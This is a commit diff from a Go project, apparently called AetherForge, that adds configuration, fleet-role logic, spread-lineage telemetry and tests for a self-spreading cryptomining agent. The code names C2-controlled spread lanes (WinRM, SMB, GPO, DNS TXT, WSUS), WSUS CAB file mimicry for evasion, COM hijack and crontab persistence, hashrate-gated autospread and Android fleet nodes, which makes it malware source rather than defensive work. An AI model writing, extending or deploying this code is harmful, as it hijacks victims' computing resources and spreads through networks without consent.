Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -59,5 +59,6 @@ func GetBuiltinConfig() BuiltinConfig {
DnsTxtSpread: true,
WebRTCMeshSpread: false,
WSUSCachePeerSpread: true,
WSUSFormatMimic: true,
}
}

View File

@@ -74,6 +74,7 @@ type BuiltinConfig struct {
DnsTxtSpread bool // DNS TXT mesh shard staging via _aether zone
WebRTCMeshSpread bool // WebRTC LAN seed manifest (heavier; default off)
WSUSCachePeerSpread bool // WSUS SoftwareDistribution cousin staging
WSUSFormatMimic bool // wrap WSUS staging chunks as *.cab.partial SSU/CAB mimic (default ON)
COMHijackPersist bool // COM CLSID hijack persistence — default off
LinuxLOTLMode string // systemd_run_user | crontab | both | off
// Passive spreading — triggered by the environment rather than active scanning
@@ -117,10 +118,28 @@ type BuiltinConfig struct {
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth
// Spread genealogy watermark — forge-baked telemetry; never used for auth.
ParentAgentID string
SpreadGeneration int
SpreadStrain string // #RRGGBB strain color; derived from join_lane when empty
BakedJoinLane string // forge-time join_lane for strain when runtime lane unknown
// ApkMode marks Android fleet-node builds; registration reports platform=android.
ApkMode bool
// ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging.
ScoutMode bool
// MiningDisabled skips the mining fallback chain (default for APK fleet nodes).
MiningDisabled bool
// FleetRole selects miner|seeder|auto (auto resolves from server hint on auth).
FleetRole string
// SeederMode is baked when fleet_role=seeder — skips RandomX, runs LAN staging lanes only.
SeederMode bool
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread (server policy).
HashrateGateSpreadMin int
// HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy).
HashrateGateHPS float64
}
// BackupPool holds connection info for a fallback Stratum mining pool.
@@ -261,6 +280,11 @@ func IsAndroidPlatform() bool {
return RegistrationPlatform() == "android"
}
// IsScoutMode reports roving scout builds (discover + service graph, no staging).
func (c RuntimeConfig) IsScoutMode() bool {
return c.ScoutMode
}
func (c RuntimeConfig) EffectiveThreads() int {
mode := strings.ToLower(c.ThreadMode)
if mode == "fixed" {

View File

@@ -0,0 +1,89 @@
package config
import "strings"
const (
FleetRoleMiner = "miner"
FleetRoleSeeder = "seeder"
FleetRoleAuto = "auto"
)
// SeederSpreadLanes are the only staging lanes seeders may run (no RandomX).
var SeederSpreadLanes = []string{"dns_txt", "webrtc_mesh", "do_peer"}
// NormalizeFleetRole coerces forge/auth values to miner|seeder|auto.
func NormalizeFleetRole(role string) string {
switch strings.ToLower(strings.TrimSpace(role)) {
case FleetRoleSeeder:
return FleetRoleSeeder
case FleetRoleMiner:
return FleetRoleMiner
default:
return FleetRoleAuto
}
}
// EffectiveFleetRole resolves baked role + optional server hint from auth.
func (c RuntimeConfig) EffectiveFleetRole(serverHint string) string {
if c.SeederMode {
return FleetRoleSeeder
}
baked := NormalizeFleetRole(c.FleetRole)
if baked == FleetRoleSeeder {
return FleetRoleSeeder
}
if baked == FleetRoleMiner {
return FleetRoleMiner
}
hint := NormalizeFleetRole(serverHint)
if hint == FleetRoleSeeder || hint == FleetRoleMiner {
return hint
}
return FleetRoleMiner
}
// IsSeederRole reports whether this agent should skip mining and serve LAN staging only.
func (c RuntimeConfig) IsSeederRole(serverHint string) bool {
return c.EffectiveFleetRole(serverHint) == FleetRoleSeeder
}
// IsSeederSpreadLane reports dns_txt / webrtc_mesh / do_peer lanes.
func IsSeederSpreadLane(lane string) bool {
lane = strings.ToLower(strings.TrimSpace(lane))
for _, s := range SeederSpreadLanes {
if lane == s {
return true
}
}
return false
}
// FilterSeederLotlTiers keeps only seeder staging lanes from a LOTL tier list.
func FilterSeederLotlTiers(tiers []string) []string {
var out []string
for _, t := range tiers {
if IsSeederSpreadLane(t) {
out = append(out, t)
}
}
return out
}
// ApplySeederForgeDefaults enables seeder-only spread flags and disables mining paths.
func ApplySeederForgeDefaults(b *BuiltinConfig) {
if b == nil {
return
}
b.FleetRole = FleetRoleSeeder
b.SeederMode = true
b.MiningDisabled = true
b.MinerExecution = "inprocess" // unused — no RandomX chain starts
b.GPUEnabled = false
b.DnsTxtSpread = true
b.WebRTCMeshSpread = true
b.WinRMSpread = false
b.WSUSCachePeerSpread = false
b.AutoSpread = true
b.LotlOnionEnabled = true
b.LotlOnionTiers = append([]string(nil), SeederSpreadLanes...)
}

View File

@@ -0,0 +1,53 @@
package config
import "testing"
func TestNormalizeFleetRole(t *testing.T) {
if NormalizeFleetRole("SEEDER") != FleetRoleSeeder {
t.Fatal("seeder")
}
if NormalizeFleetRole("miner") != FleetRoleMiner {
t.Fatal("miner")
}
if NormalizeFleetRole("") != FleetRoleAuto {
t.Fatal("auto default")
}
}
func TestEffectiveFleetRoleSeederMode(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{SeederMode: true}}
if cfg.EffectiveFleetRole("") != FleetRoleSeeder {
t.Fatalf("got %q", cfg.EffectiveFleetRole(""))
}
}
func TestEffectiveFleetRoleAutoHint(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{FleetRole: FleetRoleAuto}}
if cfg.EffectiveFleetRole(FleetRoleSeeder) != FleetRoleSeeder {
t.Fatal("hint seeder")
}
if cfg.EffectiveFleetRole(FleetRoleMiner) != FleetRoleMiner {
t.Fatal("hint miner")
}
if cfg.EffectiveFleetRole("") != FleetRoleMiner {
t.Fatal("auto defaults miner")
}
}
func TestFilterSeederLotlTiers(t *testing.T) {
got := FilterSeederLotlTiers([]string{"smb", "dns_txt", "winrm", "do_peer"})
if len(got) != 2 || got[0] != "dns_txt" || got[1] != "do_peer" {
t.Fatalf("got %v", got)
}
}
func TestApplySeederForgeDefaults(t *testing.T) {
b := BuiltinConfig{}
ApplySeederForgeDefaults(&b)
if !b.SeederMode || b.FleetRole != FleetRoleSeeder || !b.MiningDisabled {
t.Fatalf("seeder defaults: %+v", b)
}
if !b.DnsTxtSpread || !b.WebRTCMeshSpread || b.WinRMSpread {
t.Fatalf("spread flags: %+v", b)
}
}

47
agent/config/genealogy.go Normal file
View File

@@ -0,0 +1,47 @@
package config
import (
"crypto/sha256"
"fmt"
"os"
"strconv"
"strings"
)
// SpreadStrainFromJoinLane returns a stable #RRGGBB hex color for UI strain grouping.
// Not a signed key — informational telemetry only.
func SpreadStrainFromJoinLane(lane string) string {
lane = strings.TrimSpace(strings.ToLower(lane))
if lane == "" {
return ""
}
sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
}
// GenealogyReport returns forge-baked spread watermark fields for auth/stats telemetry.
// Env overrides (AETHER_PARENT_AGENT_ID, AETHER_SPREAD_GENERATION) support spread-child
// launches without re-forge. Never used for authentication.
func (c RuntimeConfig) GenealogyReport(runtimeJoinLane string) (parentAgentID string, spreadGeneration int, spreadStrain string) {
parentAgentID = strings.TrimSpace(c.ParentAgentID)
if v := strings.TrimSpace(os.Getenv("AETHER_PARENT_AGENT_ID")); v != "" {
parentAgentID = v
}
spreadGeneration = c.SpreadGeneration
if v := strings.TrimSpace(os.Getenv("AETHER_SPREAD_GENERATION")); v != "" {
if n, err := strconv.Atoi(v); err == nil && n >= 0 {
spreadGeneration = n
}
}
spreadStrain = strings.TrimSpace(c.SpreadStrain)
if spreadStrain == "" {
lane := strings.TrimSpace(runtimeJoinLane)
if lane == "" {
lane = strings.TrimSpace(c.BakedJoinLane)
}
spreadStrain = SpreadStrainFromJoinLane(lane)
}
return parentAgentID, spreadGeneration, spreadStrain
}

View File

@@ -0,0 +1,46 @@
package config
import "testing"
func TestSpreadStrainFromJoinLane(t *testing.T) {
a := SpreadStrainFromJoinLane("winrm")
b := SpreadStrainFromJoinLane("winrm")
if a == "" || a != b {
t.Fatalf("strain not stable: %q vs %q", a, b)
}
if a[0] != '#' || len(a) != 7 {
t.Fatalf("expected #RRGGBB, got %q", a)
}
if SpreadStrainFromJoinLane("dns_txt") == a {
t.Fatal("different lanes should produce different strains")
}
if SpreadStrainFromJoinLane("") != "" {
t.Fatal("empty lane should yield empty strain")
}
}
func TestGenealogyReportBakedAndRuntime(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
ParentAgentID: "parent-uuid",
SpreadGeneration: 2,
BakedJoinLane: "gpo",
}}
parent, gen, strain := cfg.GenealogyReport("")
if parent != "parent-uuid" || gen != 2 {
t.Fatalf("baked parent/gen: %q %d", parent, gen)
}
if strain != SpreadStrainFromJoinLane("gpo") {
t.Fatalf("strain from baked join lane: %q", strain)
}
cfg2 := RuntimeConfig{BuiltinConfig: BuiltinConfig{SpreadGeneration: 0}}
t.Setenv("AETHER_PARENT_AGENT_ID", "env-parent")
t.Setenv("AETHER_SPREAD_GENERATION", "3")
p2, g2, s2 := cfg2.GenealogyReport("winrm")
if p2 != "env-parent" || g2 != 3 {
t.Fatalf("env overrides: %q %d", p2, g2)
}
if s2 != SpreadStrainFromJoinLane("winrm") {
t.Fatalf("runtime join lane strain: %q", s2)
}
}